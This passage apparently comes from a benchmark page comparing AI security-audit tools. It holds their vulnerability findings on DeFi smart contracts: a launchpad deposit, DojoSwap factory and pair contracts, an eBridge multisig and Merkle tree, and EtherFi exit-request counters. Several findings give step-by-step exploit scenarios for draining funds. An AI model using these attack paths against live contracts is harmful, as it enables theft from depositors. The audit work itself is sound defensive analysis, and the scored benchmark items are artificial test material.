depositadds the caller'samountargument to their balance and tototal_amount. It only checks that one coin ofraising_denomwas attached. It never checks thatinfo.funds[0].amountequalsamount. TodayUSER_INFO.loadat line 180 fails for any address with no stored record. Nothing else creates those records, so every deposit fails before it reaches the credit.##### Who can do it
Alice, a project owner, runs a token sale through the launchpad. If the load bug is fixed (for example by switching to
may_loadwith a default), Mallory, anyone with a wallet, callsDeposit { amount: 1_000_000_000_000 }and attaches 1 unit of the raising denom.-
USER_INFO.loadindepositis changed so that it succeeds for new users.- The sale is inside its
start_time..end_timewindow.- Mallory attaches one coin of
raising_denomof any size.##### What they get
Once that change is made, Mallory's fake balance dominates
total_amount. Atharvestshe receives almost all of the offering tokens. She also receives a refund in the raising denom that is paid from honest buyers' deposits. In the current code the deposit always errors, so the only effect is that the launchpad cannot take deposits.##### How it works
1.
depositat contracts/launchpad/src/contract.rs:175 checks onlyinfo.funds.len()andinfo.funds[0].denom.2.
USER_INFO.loadat contracts/launchpad/src/contract.rs:180 currently errors for any address with no stored record, which blocks every deposit.3. If that load succeeds, contracts/launchpad/src/contract.rs:186-190 credits the caller-chosen
amountto the user and tototal_amount.4.
harvestat contracts/launchpad/src/contract.rs:228-266 pays offering tokens and refunds in proportion to the creditedamount. - Exploit scenario
-
Not specified.
- Recommendation
-
Drop the
amountparameter, or requireinfo.funds[0].amount == amount, and credit only the coins actually received. At the same time, replaceUSER_INFO.loadwithmay_load(...)?.unwrap_or(User { amount: 0, claimed: false })so deposits work. To check the fix, add a test where a new user deposits with matching funds and succeeds. Add a second test where the declaredamountis larger than the attached coins, and assert that it fails.
Devin Security (Deep)
Launchpad deposit credits the caller-chosen amount without checking the coins actually sent
contracts/launchpad/src/contract.rs:174Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any wallet that has a depositor record can attach one base unit of the raising coin, name any deposit amount it likes, and then collect most of the sale's tokens plus other depositors' real money as a refund; on a fresh deployment nobody can get a depositor record yet (separate finding), so this is live on an instance migrated with existing depositors or as soon as that bug is fixed.
##### What's wrong
This is an unverified deposit amount. The deposit handler trusts the
amountfield inside the message instead of the coins attached to the transaction. It checks that exactly one coin of the right denom is attached, but it never compares that coin's amount withamount. It then creditsamountto the user record and adds it tototal_amount, and those two numbers drive every payout inharvest.##### Who can do it
Alice and Bob each deposit 500 INJ into a launchpad run by Acme Labs. The sale raises 1,000 INJ for 1,000,000 ACME tokens. Mallory, an attacker with an ordinary wallet, sends a Deposit message with
amountset to 1,600 INJ but attaches only 1 base unit of INJ. The contract records her as a 1,600 INJ depositor andtotal_amountbecomes 2,600 INJ.Conditions:
- The sale window is open (block time between
start_timeandend_time).- Mallory's address already has an entry in the
user_infomap. The current deposit code cannot create one for a new address (see the separate NotFound finding), so this needs an instance that was migrated with existing depositor records, or the fix of that bug.- Mallory harvests after the admin enables claims and before the other depositors.
##### What they get
When claims open, Mallory harvests first. The contract computes her share as 1,600 of 2,600 and sends her about 615,000 ACME tokens plus a refund of about 985 INJ. That refund is paid from the 1,000 INJ that Alice and Bob really deposited. Alice and Bob's harvests then fail because the contract no longer holds enough INJ for their refunds, so they get neither tokens nor their money back. Acme Labs loses most of its tokens and the raise. In an under-subscribed sale Mallory can instead name an amount that fills the remaining allocation and take those tokens for one base unit. Even if the admin notices the inflated total and never opens claims, the sale is ruined for every depositor.
##### How it works
1. Mallory sends
ExecuteMsg::Deposit { amount: 1600 INJ }with funds of 1 base unit of the raising denom (contract.rs:59).2.
deposit()checks only that one coin with the right denom is attached, never its amount (contract.rs:175).3.
deposit()adds the claimed amount to her user record and tototal_amount(contract.rs:186, 190).4. After the admin flips
allow_claim,harvest()computesuser_allocationfrom the inflateduser.amountandtotal_amount(contract.rs:228-232).5.
get_offering_amount()andget_refunding_amount()turn that allocation into a cw20 transfer of offering tokens and a bank send of the raising denom to Mallory (contract.rs:233-267, 430-468).6. The refund is paid from the real coins other depositors sent, which the contract never tracks separately.
- Exploit scenario
-
Not specified.
- Recommendation
-
Credit the coins that were actually attached. Either remove the
amountfield fromExecuteMsg::Depositand useinfo.funds[0].amount, or reject the call wheninfo.funds[0].amount != amount. Fix the first-deposit NotFound bug in the same change so the corrected check is in place before deposits can work. To verify, add unit tests: a Deposit withamount1000 and attached funds of 1 must fail; a Deposit with matching funds must record exactly the attached amount in both the user record andtotal_amount.
Claude Security (Sonnet 5.5)
create_pair never checks user-supplied native asset amounts against attached funds, so the factory's own native balance funds the initial liquidity
contracts/dojoswap_factory/src/contract.rs:324Predicted severity: Low- Root cause
-
Vulnerable symbol: reply
Preconditions: At least one native denom is allowlisted and the factory holds a nonzero balance of it. This is guaranteed by add_native_token_decimals.; The attacker controls a cw20 contract, or uses any token for which no pair with that denom exists yet.
Offending code:
funds.push(coin(asset.amount.u128(), denom.to_string()));
- Impact
-
Anyone can drain native tokens held by the factory: the verification dust for each allowlisted denom, plus any native funds stranded there by users who attach funds to CreatePair. The cost to the attacker is nothing. The loss is limited to the factory's balances. Users who attach funds to CreatePair without matching
assetsamounts also have those funds locked permanently. - Description
-
The permissionless
execute_create_pairstores caller-suppliedassets[].amountin TMP_PAIR_INFO without callingAsset::assert_sent_native_token_balance(&info), andinfo.fundsis never read.replythen forwardscoin(asset.amount, denom)from the factory's own bank balance as funds to the pair'sProvideLiquidity, withreceiverset to the caller, so the LP tokens go to the attacker. Also CWE-862: The untrusted caller of the permissionless execute_create_pair supplies assets[].amount. It is saved to TMP_PAIR_INFO without comparing it to info.funds. The reply handler then attaches that amount in native coins to the pair's ProvideLiquidity from the factory's own balance, and the LP tokens are minted to the caller. Also CWE-1284: The caller suppliesassets[i].amountinexecute_create_pair, which never inspectsinfo.funds. The factory'sreplythen forwards those unverified amounts asfundson aProvideLiquiditycall to the new pair, so the bank transfer comes out of the factory's own native balance. The pair'sassert_sent_native_token_balanceonly compares the declared amount with what the factory attached, so the check passes whatever the creator paid. - Exploit scenario
-
1) The owner allowlists native denom X, which by design requires the factory to hold a nonzero balance of X (contract.rs:241-248). 2) The attacker deploys a cw20 token T that returns plausible decimals to TokenInfo and whose TransferFrom and IncreaseAllowance succeed without moving anything. 3) The attacker calls CreatePair with assets = [{NativeToken X, amount = factory's X balance}, {Token T, amount = any}], attaching no funds. 4)
execute_create_pairpasses because X is allowlisted and T answers TokenInfo. 5)replysendscoin(factory_balance, X)from the factory to the new pair's ProvideLiquidity, and the pair'sassert_sent_native_token_balancepasses because the funds really are attached. 6) LP tokens are minted to the attacker. 7) The attacker withdraws liquidity and receives nearly all of the factory's X, minus the locked MINIMUM_LIQUIDITY share. The attacker repeats this with a new T for each pair. Native funds that honest users attach to CreatePair stay in the factory with no withdrawal path, and an attacker can claim them the same way. - Recommendation
-
In
execute_create_pair, callasset.assert_sent_native_token_balance(&info)for each asset. Also reject anyinfo.fundscoin that is not matched by an asset. Alternatively, record the funds actually received and cap the native amounts used inreplyat that value. Refuse zero-amount native funds entries, since they make the ProvideLiquidity message invalid. The factory should never pay out of its own balance. Also CWE-862: In execute_create_pair, require that the native funds in info.funds exactly match the declared native asset amounts, for example with Asset::assert_sent_native_token_balance(&info) for both assets. Reject any extra denoms. Store the verified amounts in TMP_PAIR_INFO. Alternatively, spend only what this call attached, and refund or reject any surplus. Consider clearing TMP_PAIR_INFO after the reply. Also CWE-1284: Inexecute_create_pair, callassert_sent_native_token_balance(&info)on both assets and reject any extra funds, so that only the caller's own funds are forwarded. Alternatively, forwardinfo.fundsitself rather than the factory's balance. Also consider a rescue path for stranded funds.
Vercel Security Review
CreatePair lets callers convert the factory's native balances into their own LP tokens
contracts/dojoswap_factory/src/contract.rs:323Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Caller-declared amounts spend factory funds** -
contracts/dojoswap_factory/src/contract.rs:322-324```rust title="contracts/dojoswap_factory/src/contract.rs:322-324"
for asset in tmp_pair_info.assets.iter() {
if let AssetInfoRaw::NativeToken { denom, .. } = &asset.info {
funds.push(coin(asset.amount.u128(), denom.to_string()));
```
New permissionless
CreatePairnever matches native amounts toinfo.funds. If the factory holds sufficient registered-denomination funds, anyone can contribute their own CW20 and spend that native balance without supplying it.**2. The caller receives the resulting liquidity ownership** -
contracts/dojoswap_factory/src/contract.rs:351-354```rust title="contracts/dojoswap_factory/src/contract.rs:351-354"
msg: to_json_binary(&PairExecuteMsg::ProvideLiquidity {
assets,
receiver: Some(tmp_pair_info.sender.to_string()),
deadline: None,
```
The factory-funded contribution earns LP tokens for the attacker.
**3. LP redemption transfers the assets to the attacker** -
contracts/dojoswap_pair/src/contract.rs:470-473```rust title="contracts/dojoswap_pair/src/contract.rs:470-473"
Ok(Response::new()
.add_messages(vec![
refund_assets[0].clone().into_msg(sender.clone())?,
refund_assets[1].clone().into_msg(sender.clone())?,
```
Redeeming those LP tokens extracts the native funds, subject to minimum locked liquidity.
- Exploit scenario
-
Not specified.
- Recommendation
-
In execute_create_pair, validate that every declared native contribution exactly matches the corresponding coin in info.funds before saving temporary state or instantiating the pair. Reject unmatched or excess attached funds, and never satisfy a caller's contribution from pre-existing factory balances.
-
FEE_COLLECTOR address can reconfigure pair assets and enable drains dojoswap-2 · 4 writeups High
V12
Self-backed LP reserves enable disproportionate swaps
contracts/dojoswap_pair/src/contract.rs:159Predicted severity: High- Root cause
-
The configuration path permits the LP liability token to become a reserve asset of the same pair. Swap accounting then treats the pair's locked LP holdings as independent collateral and bypasses total-supply-based redemption accounting.
- Impact
-
After this authorized self-referential configuration, an LP holder can exchange a small fraction of total shares for a large fraction of the independent reserve, depleting backing for other holders. The path uses the legitimately created LP token and its actual transfer hook; it does not require a malicious token deployment or forged caller.
- Description
-
admin_configurecan select the pair's own retained LP token as one of its reserve assets. The pair already holds 1,000 locked LP units from initial liquidity issuance, so that selection creates an apparently funded reserve without adding independent collateral. The CW20 swap hook then accepts the LP token as a configured offer token and prices it against the other reserve using those 1,000 units rather than total LP supply. For an original one-million-unit liquidity issuance and a one-million-unit native reserve, replacing the other asset with the LP token permits a 1,000-LP swap to return 498,500 native units after commission. This requires the fixed fee collector to configure the self-referential reserve, but the subsequent exchange is a normal LP-token Send hook and does not burn the offered LP tokens.
Codex Security (GPT-6 Sol)
Fee collector can turn one pair reserve into two withdrawal claims
contracts/dojoswap_pair/src/contract.rs:147Predicted severity: Low- Root cause
-
The pair grants
AdminConfigureto the hard-coded fee collector and accepts any two asset identities, including duplicates, after liquidity exists. The withdrawal path treats the two slots as independent reserves even when they point to one balance. - Impact
-
Other LP providers' assets can be lost, but the attacker must control the designated fee collector account and hold LP tokens. The factory owner has separate migration authority; no public caller can invoke
AdminConfigure. - Description
-
AdminConfigurelets the hard-coded fee collector replace a pair's assets with the same asset twice.WithdrawLiquiditythen reads that reserve twice and emits two refunds for a single LP burn, allowing a fee-collector-controlled LP position to overdraw other providers' reserve. - Exploit scenario
-
Collector
AdminConfigure-> duplicatePAIR_INFOassets -> duplicated reserve query -> two refunds on one LP burn - Recommendation
-
Use the intended pair-administration authority, reject duplicate assets, and prohibit reserve-identity changes while liquidity exists unless migration explicitly accounts for balances.
Devin Security
Hard-coded fee collector address can rewrite any live pool's assets and drain it
contracts/dojoswap_pair/src/contract.rs:40Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Whoever holds the single hard-coded fee collector key can swap out the asset list of any live pool and empty every liquidity provider's deposits from every pair.
##### What's wrong
This is an over-privileged backdoor admin.
admin_configurelets the fixed addressFEE_COLLECTORreplaceasset_infosandasset_decimalsof a pool that already holds funds. Nothing checks that the pool is empty or that the new assets match the old ones. The address is compiled into the code, so it cannot be changed or revoked, and it is not the factory owner.##### Who can do it
Alice and other liquidity providers deposit tokens into a DojoSwap pair. Mallory gets control of the fee collector key, either as an insider or by stealing the key. She calls
AdminConfigureon Alice's pair and replaces one of the pool assets with a cw20 token she created.- Mallory controls the private key for the hard-coded
FEE_COLLECTORaddress.- The target pair holds liquidity.
##### What they get
After the change, the pair prices swaps using the pair's balance of Mallory's worthless token. She sends that token in through the
Swaphook and takes out the real asset. She can also point both entries at assets that hide the real balances, which leaves the LP tokens unredeemable. She can do this to every pair created from this code. Every liquidity provider in every pool can lose their deposit.##### How it works
1. Mallory calls
ExecuteMsg::AdminConfigureon a pair; the only check isinfo.sender == FEE_COLLECTORat contracts/dojoswap_pair/src/contract.rs:155.2. The handler overwrites
PAIR_INFO.asset_infosandasset_decimalswith her values at contracts/dojoswap_pair/src/contract.rs:161-168.3.
swapandwithdraw_liquidityread pool balances from the newasset_infosviaquery_pools, so her fake token becomes one side of the pool.4. She swaps her fake token for the remaining real asset, and the pair sends it to her at contracts/dojoswap_pair/src/contract.rs:569.
- Exploit scenario
-
Not specified.
- Recommendation
-
Remove
AdminConfigurefrom the pair, or limit it to fixingasset_decimals. If you keep it, gate it on the factory or a governance address stored in state. Also refuse to changeasset_infoswhile the LP token's total supply is non-zero. To check the fix, add a test that provides liquidity and then callsAdminConfigurewith a different asset. Assert that the call fails and thatPAIR_INFOis unchanged.
Devin Security (Deep)
Hard-coded fee collector key can re-point a live pair's assets and drain its reserves
contracts/dojoswap_pair/src/contract.rs:40Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Whoever holds the single hard-coded fee collector key can swap out the assets of any live pool and take all of the liquidity providers' deposits in every pair, and the key can never be rotated.
##### What's wrong
This is an unrestricted privileged configuration path.
AdminConfigurelets one fixed external account overwriteasset_infosandasset_decimalsof a pair that already holds funds, and every later balance, authorization and swap calculation trusts the new values.##### Who can do it
Alice and many other users at Acme Capital provide liquidity to the INJ/USDT pair. Mallory controls the private key for the address stored in
FEE_COLLECTOR(either as a malicious insider or because she stole the key). She deploys a worthless cw20 token, callsAdminConfigureon the pair withassets: [her_token, USDT], then swaps a large amount of her token into the pair.Conditions that must hold:
- Mallory can sign with the private key for the hard-coded
FEE_COLLECTORaddress atcontracts/dojoswap_pair/src/contract.rs:40.- The target pair holds reserves (any live pair).
##### What they get
Mallory receives nearly all of the pair's USDT in exchange for her worthless token, then repeats the trick with
assets: [her_token, INJ]to take the INJ side. She can do this to every pair deployed from this code, so every liquidity provider on the exchange loses their deposits. She can also setasset_decimalsto values that differ by more than 19, which makes every swap on the pair abort, freezing trading until she changes it back. Because the address is a compile-time constant with no update path, Acme cannot revoke the key without redeploying and migrating every pair.##### How it works
1.
admin_configureatcontract.rs:147-171accepts the call wheninfo.senderequals the constantFEE_COLLECTORand overwritesPAIR_INFO.asset_infosandasset_decimalswhile keeping the same LP token.2.
receive_cw20atcontract.rs:189-203authorizes a cw20 swap if the sending token contract matches any entry in the currentasset_infos, so Mallory's token is now accepted as an offer asset.3.
swapatcontract.rs:512-547reads the pair's balances of the new asset list. The offer pool of Mallory's token is tiny and the ask pool is the real USDT reserve, socompute_swapreturns almost the entire ask pool.4. The return asset is sent to Mallory at
contract.rs:565-570.5. Separately,
assert_max_spreadatcontract.rs:808andcontract.rs:822computes10u64.pow(diff)from the stored decimals on every swap, so a decimals gap above 19 overflows and aborts all swaps. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove
AdminConfigurefrom the pair, or restrict it so it cannot changeasset_infosonce the pair holds liquidity (for example, only allow it while both pool balances and the LP total supply are zero) and capasset_decimalsat 18. Move the fee collector address into contract state that the factory owner can update, instead of a hard-coded constant. To check the fix, add tests thatAdminConfigureis rejected on a pair with non-zero reserves and that the fee recipient can be rotated through the new update path.
-
-
Ebridge Solidity aelf bridge to Ethereum. Tasks 3 V12 3/3 Codex Sec 0/3 Pashov Opus 2/3 Pashov GPT-6 1/3 Devin 0/3 Devin (Deep) 0/3 Claude Sec 0/3 Claude Opus 0/3 Vercel 0/3
aelf bridge to Ethereum.
Read the audit report-
MerkleTree usage complexity ebridge-1 · 2 writeups High
V12
Permitted tree depths make receipt processing unexecutable
contracts/MerkleTreeImplementation.sol:80Predicted severity: High- Root cause
-
_leavesToTreesizes memory from maximum configured capacity rather than actual nodes, and both recording and proof generation rebuild all stored leaves. Configuration validation enforces mathematical depth bounds without an execution-budget bound or an incremental tree algorithm. - Impact
-
For a swap configured with an unexecutable depth, hash-only receipt transmission cannot complete, preventing the corresponding proof-based payouts despite available deposited liquidity. Changing the global default affects only future spaces, not that swap's stored space; this is conditional claim-path unavailability, with an alternative signed direct-payment branch and owner-authorized upgrades still present.
- Description
-
createSpaceaccepts depth 20, but_generateMerkleTreepasses twice the configured leaf capacity to_leavesToTree, which allocates that entire array even for a single leaf. At depth 20 this is 2,097,152 words, or 64 MiB, with an EVM memory-expansion lower bound of 8,596,226,048 gas before copying or hashing. The same allocation occurs whengetMerklePathrebuilds a tree during claim verification. BridgeOut's wallet setter permits depth 20, andcreateSwappermanently assigns the newly created space to that swap, so successful swap creation does not establish that recording or proof generation is executable. Independently of the upfront allocation, each append and path request copies the entire current leaf set and rebuilds its tree, so work also grows with occupancy. This is a source-derived gas failure for permitted large depths on chains with transaction/block budgets below that lower bound, not evidence that the depth-10 test configuration or a particular deployed swap has failed.
Pashov (Claude Opus 5.5 high)
MerkleTree space depth can be set up to 20, which makes recordMerkleTree exceed the block gas limit and permanently freezes the swap
contracts/BridgeOutImplementationV1.sol:119Predicted severity: Low- Root cause
-
O(n) work and O(maxLeafCount) memory allocation per insertion, with an upper bound on depth that is far above what fits in a block.
- Impact
-
Short reports for a swap created with a large depth can never be recorded and no Merkle-path redemption works. Users' cross-chain transfers for that token become unredeemable, and the token key cannot be re-registered with a fresh swap.
- Description
-
Every recordMerkleTree call rebuilds the whole tree. It allocates new bytes32[](maxLeafCount*2) in memory, reads every stored leaf with EnumerableSet.values(), and rehashes every node. setDefaultMerkleTreeDepth accepts depths up to 20 (2^21-word memory arrays). From about depth 16, quadratic memory expansion alone costs more than the block gas limit, even for the first leaf. Smaller depths also become unusable as the tree fills up. A space's pathLength cannot be changed after createSpace, and a token key can only be bound to one swap.
- Exploit scenario
-
Governance sets defaultMerkleTreeDepth = 20 to get capacity, then creates a swap. Every transmit() with a short report reverts out of gas, so receipts for that token cannot be settled through the Merkle path.
- Recommendation
-
Cap the depth at a value whose worst case fits comfortably in a block (for example 10 or lower), or use an incremental Merkle tree that updates O(depth) nodes per insertion.
-
Front-running gas attack can cancel transaction ebridge-2 · 3 writeups Medium
V12
Failed calls consume approved proposals
contracts/MultiSigWallet.sol:211Predicted severity: Low- Root cause
-
The success-independent
executedmarker consumes a proposal's authorization even when the external call fails. The decodable failure branch records the error but provides neither rollback nor retry state. - Impact
-
A failed administrative operation can lose its existing approvals and require another submission and quorum round before it can take effect. Inference: where an executable proposal encounters a transient failure, permissionless execution permits timing-based invalidation of that proposal; permanent wallet-fund lockup is not supported.
- Description
-
Execution sets
transaction.executed = truebefore calling the destination and does not reset it when the destination returns a decodableError(string)failure. The failure event therefore commits alongside an executed flag even though the approved operation did not occur. The tests explicitly exercise this behavior and assert that failed membership calls remain marked executed. An arbitrary execution caller can consume an already executable proposal during a transient destination failure; for example,BridgeIn.restartrejects execution while the bridge is not paused. This affects the existing proposal's authorization and retry lifecycle, not all wallet funds, because members can submit and approve a replacement.
Pashov (Claude Opus 5.5 high)
MultiSigWallet failure handling: failed calls are permanently marked executed, and non-string revert data makes confirmation revert
contracts/MultiSigWallet.sol:211Predicted severity: Low- Root cause
-
Not resetting
executedon failure, plus fragile parsing of revert reasons. - Impact
-
Governance transactions can be burned or griefed. An attacker can trigger a confirmed transaction when it will revert with a string reason (for example while the bridge is paused or a limit check fails), forcing members to re-submit and re-collect signatures. Transactions whose target reverts with custom errors cannot have their last confirmation recorded. This delays emergency actions such as restart or pause-controller changes.
- Description
-
executeTransaction sets transaction.executed = true before the external call and never resets it on failure, unlike the reference Gnosis implementation. A transaction that fails once, for example because it is executed at an unfavourable moment, can never be retried. It is also publicly callable, so once a transaction is confirmed (including when a requirement change or member removal makes a pending transaction confirmed), anyone can choose when it runs. In the failure branch, the code does
new bytes(returnData.length-4)and abi.decode(..., (string)). This underflows for empty revert data (out of gas, bare revert) and fails for custom errors such as Limiter's DailyLimitExceeded or Panic. The whole call reverts, so the final confirmTransaction cannot be recorded. - Exploit scenario
-
After removeMember lowers
required, a pending transaction (BridgeIn.restart) becomes confirmed. While the bridge is not paused, an attacker calls executeTransaction(id). The inner call reverts with 'not paused', the transaction is marked executed with ExecutionFailure, and governance must redo it. - Recommendation
-
On failure, set transaction.executed = false (or revert). Decode revert data defensively: check the length and the Error(string) selector before decoding.
Pashov (Codex GPT-6 Sol high)
Failed multisig calls are marked executed and cannot be retried
audit/contracts/MultiSigWallet.sol:216Predicted severity: Medium- Root cause
-
The failure branch does not reset executed after an unsuccessful external call.
- Impact
-
Approved governance, upgrade, or asset-transfer actions cannot be retried after temporary failure; members must create and reconfirm a new transaction.
- Description
-
The wallet sets transaction.executed before calling the destination. If the call fails with a standard Error(string), the function emits ExecutionFailure but leaves executed true. A transient destination failure therefore permanently consumes the approved transaction.
- Exploit scenario
-
A confirmed transfer call fails while the target is paused. The wallet records it executed; after the target restarts, executeTransaction rejects the same transaction as already executed.
- Recommendation
-
Set executed back to false on failed calls or revert the entire wallet execution so the transaction remains retryable.
-
Special considerations for seed liquidity ebridge-3 · 1 writeup Medium
V12
Claims leave stale separate inventory withdrawal credits
contracts/BridgeInImplementation.sol:301Predicted severity: Informational- Root cause
-
depositAmounttracks historical separate deposits minus owner withdrawals, whiletokenDepositAmounttracks pooled inventory minus both withdrawals and claims. No shared consumption or reconciliation rule connects the counters. - Impact
-
The local counter is not a reliable measure of remaining separate reserves: it can authorize an owner-only withdrawal against later receipt-funded inventory or allow an amount that the downstream balance cannot satisfy. Whether this constitutes withdrawal beyond the owner's authorized reserve entitlement is unresolved; the missing fact is the reserve-consumption and ownership rule after claims spend contributed liquidity. The searched boundary was both bridge implementations, the BridgeOut interface, inventory and claim tests, and deployment examples; none defines such a rule or provides reconciliation.
- Description
-
depositAmountis increased when BridgeIn forwards separate inventory and decreased only when its owner withdraws. BridgeOut places that inventory in the sametokenDepositAmountused by receipts, direct deposits, and claim settlement. A claim can therefore spend a separate inventory contribution without reducing the corresponding BridgeIn counter. For example, after a contribution of 100 and claims totaling 100, BridgeIn still reports 100 while downstream inventory is zero; after another receipt contributes 100, the old local credit again permits an owner withdrawal of 100. Removal and re-addition preserve this stale credit rather than starting a new accounting epoch.
-
-
Etherfi Solidity EtherFi liquid restaking. Tasks 9 V12 9/9 Codex Sec 1/9 Pashov Opus 5/9 Pashov GPT-6 3/9 Devin 3/9 Devin (Deep) 5/9 Claude Sec 4/9 Claude Opus 5/9 Vercel 3/9
EtherFi liquid restaking.
Read the audit report-
Repeated validator IDs could be passed in batchRevertExitRequest etherfi-1 · 5 writeups Critical
V12
Exit request counters diverge from validator requests
src/EtherFiNodesManager.sol:129Predicted severity: High- Root cause
-
The manager updates a safe-wide exit-request counter without enforcing per-validator pending-to-cleared transitions. A single timestamp cannot represent multiple increments, and an absent timestamp does not prevent a decrement.
- Impact
-
An excess counter blocks reward withdrawals for other validators sharing the safe through
PENDING_EXIT_REQUEST, including after the requested validator has been fully withdrawn. An unmatched reversal can instead bypass the pending-request reward restriction and make later unregistering the genuinely requested validator revert on counter underflow, obstructing its principal withdrawal. - Description
-
batchSendExitRequestincrements the safe-widenumExitRequestsByTnftevery time a LIVE validator is supplied, without checking its existingexitRequestTimestamp. Its phase remains LIVE, so the T-NFT owner can submit the same ID twice, either in one batch or in separate transactions, while only one timestamp is stored.batchRevertExitRequestdecrements the same counter without requiring an outstanding request for the supplied validator.EtherFiNode.unRegisterValidatorsubtracts only once for a nonzero timestamp, leaving excess requests after that validator is fully withdrawn. Conversely, on a shared safe, reverting a validator that never requested exit can clear another validator's aggregate request count without clearing its timestamp.
Pashov (Claude Opus 5.5 high)
Missing exit-request state checks let T-NFT holders desync numExitRequestsByTnft and permanently block partial withdrawals of recycled or shared safes
src/EtherFiNodesManager.sol:129Predicted severity: Medium- Root cause
-
Send and revert are not idempotent: the
!isExitRequested/isExitRequestedguards are missing, while the counter lives at safe level and survives recycling. - Impact
-
Liveness and asset freeze. Staking rewards in the affected safe cannot be distributed via
partialWithdrawfor any future validator using it. The LiquidityPool, as T-NFT holder of most validators, has no function to revert exit requests, so its validators placed in such a safe stay stuck until they exit. Shared safes can also be pushed into an inconsistent state that makesfullWithdrawrevert on counter underflow. - Description
-
batchSendExitRequestdoes not check that the validator has no pending exit request, andbatchRevertExitRequestdoes not check that one exists (nor that the validator is LIVE). Each call adjusts the per-safe counternumExitRequestsByTnftby +/-1 and overwritesexitRequestTimestamp. A T-NFT holder can therefore send the request N times, which raises the counter N times for a single validator. When the validator is fully withdrawn,EtherFiNode.unRegisterValidatordecrements the counter only once (if (_info.exitRequestTimestamp != 0)). The safe goes back tounusedWithdrawalSafeswith a non-zeronumExitRequestsByTnft, because nothing resets it on recycling. Every later validator allocated that safe fails_getTotalRewardsPayoutsFromSafewith PENDING_EXIT_REQUEST, sopartialWithdrawandbatchPartialWithdrawOptimizedrevert, and so does the viewgetRewardsPayouts. Other combinations also corrupt the state: revert without a request (wipes the timestamp while decrementing a counter that belongs to sibling validators), or send then revert after EXITED. - Exploit scenario
-
1. The attacker (a delegated staker, or anyone who buys a transferable T-NFT) calls
batchSendExitRequest([id, id, id]). The safe's counter becomes 3.2. The validator exits and
fullWithdrawruns. The counter drops to 2, the validator count reaches 0, and the safe is pushed tounusedWithdrawalSafes.3. With recycling enabled, the LP's next validator is allocated this safe. Every
partialWithdrawfor it reverts with PENDING_EXIT_REQUEST. Rewards build up until the safe reaches 16 ETH, and the validator then has to exit. - Recommendation
-
In
batchSendExitRequestaddrequire(!isExitRequested(_validatorId), "ASKED"). InbatchRevertExitRequestaddrequire(isExitRequested(_validatorId), "NOT_ASKED")(and preferably a LIVE phase check). ResetnumExitRequestsByTnftandnumExitedValidators(or assert they are zero) when a safe is recycled.
Devin Security
Repeated exit requests leave a stale exit-request counter on a safe that is later recycled
src/EtherFiNodesManager.sol:129Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A T-NFT holder can permanently block reward payouts for the next validator that gets the recycled safe, delaying (but not stealing) another party's rewards until that validator exits.
##### What's wrong
This is a counter-desync bug.
batchSendExitRequestadds 1 to the safe'snumExitRequestsByTnfton every call, even when the validator already has a pending request. Unregistering subtracts only 1. The leftover count stays on the safe when it goes back into the reuse pool.batchRevertExitRequestalso never checks that a request exists before it subtracts.##### Who can do it
Mallory stakes 32 ETH through the public solo
StakingManager.batchDepositWithBidIdsand gets her own T-NFT. She can also buy a single-validator T-NFT on the open market. She callsbatchSendExitRequest([id])twice, exits, and letsfullWithdrawrun. Her safe goes intounusedWithdrawalSafeswithnumExitRequestsByTnft == 1. Later Bob, a B-NFT holder, spins up a pool-funded validator, and node recycling hands him that safe.- Mallory owns the T-NFT of a LIVE validator.
- An admin has enabled
enableNodeRecycling.##### What they get
Every
partialWithdraw,batchPartialWithdrawOptimized, and adminforcePartialWithdrawon Bob's validator reverts with PENDING_EXIT_REQUEST. Rewards for Bob, the node operator, the treasury, and the pool's eETH holders build up in the safe and cannot be skimmed. They are paid out only after Bob's validator exits and is fully withdrawn. No funds are stolen.##### How it works
1.
batchSendExitRequestchecks only T-NFT ownership and the LIVE phase, then callsupdateNumExitRequests(1, 0)each time (EtherFiNodesManager.sol:129-144).2.
EtherFiNode.unRegisterValidatorsubtracts 1 only ifexitRequestTimestamp != 0(EtherFiNode.sol:133). It does not reset the counter when the safe becomes empty (EtherFiNode.sol:148-152).3.
_unRegisterValidatorpushes the empty safe intounusedWithdrawalSafes(EtherFiNodesManager.sol:497-499).allocateEtherFiNodereuses it for a new validator (EtherFiNodesManager.sol:326-329).4.
_getTotalRewardsPayoutsFromSaferequiresnumExitRequestsByTnft() == 0and reverts for the new validator (EtherFiNodesManager.sol:513). - Exploit scenario
-
Not specified.
- Recommendation
-
In
batchSendExitRequest, add 1 only whenvalidatorInfos[id].exitRequestTimestamp == 0. InbatchRevertExitRequest, require a pending request (exitRequestTimestamp != 0) and the LIVE phase. ResetnumExitRequestsByTnftandnumExitedValidatorsto 0 whenunRegisterValidatorempties a safe. To check the fix, add a test that sends two exit requests, fully withdraws, re-allocates the recycled safe to a new validator, and asserts thatpartialWithdrawsucceeds.
Devin Security (Deep)
Exit request counter on a shared withdrawal safe can be driven out of sync, blocking withdrawals
src/EtherFiNodesManager.sol:129Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A T-NFT holder can repeat or revert exit requests on validators in a shared withdrawal safe to leave the safe's exit counter wrong, which can permanently block the bond holder's and node operator's withdrawals for validators in that safe, but the attacker locks their own principal as well.
##### What's wrong
This is a state desynchronization bug.
batchSendExitRequestincrements a per-safe counter every time it is called for the same validator, andbatchRevertExitRequestdecrements it even when that validator has no open request, whileunRegisterValidatoronly decrements once per validator based on a stored timestamp.##### Who can do it
Bob is a solo staker whose two validators share one withdrawal safe. Bob sold the T-NFT for validator A to Mallory, who also holds the T-NFT for validator B in the same safe. Mallory calls
batchSendExitRequest([A])and thenbatchRevertExitRequest([B]), which has no open request.- The attacker holds the T-NFT for at least one validator in a shared safe.
- The validators are in the LIVE phase and the contract is not paused.
##### What they get
After the revert call, the counter is 0 while validator A still has an exit timestamp. When A later exits and anyone calls
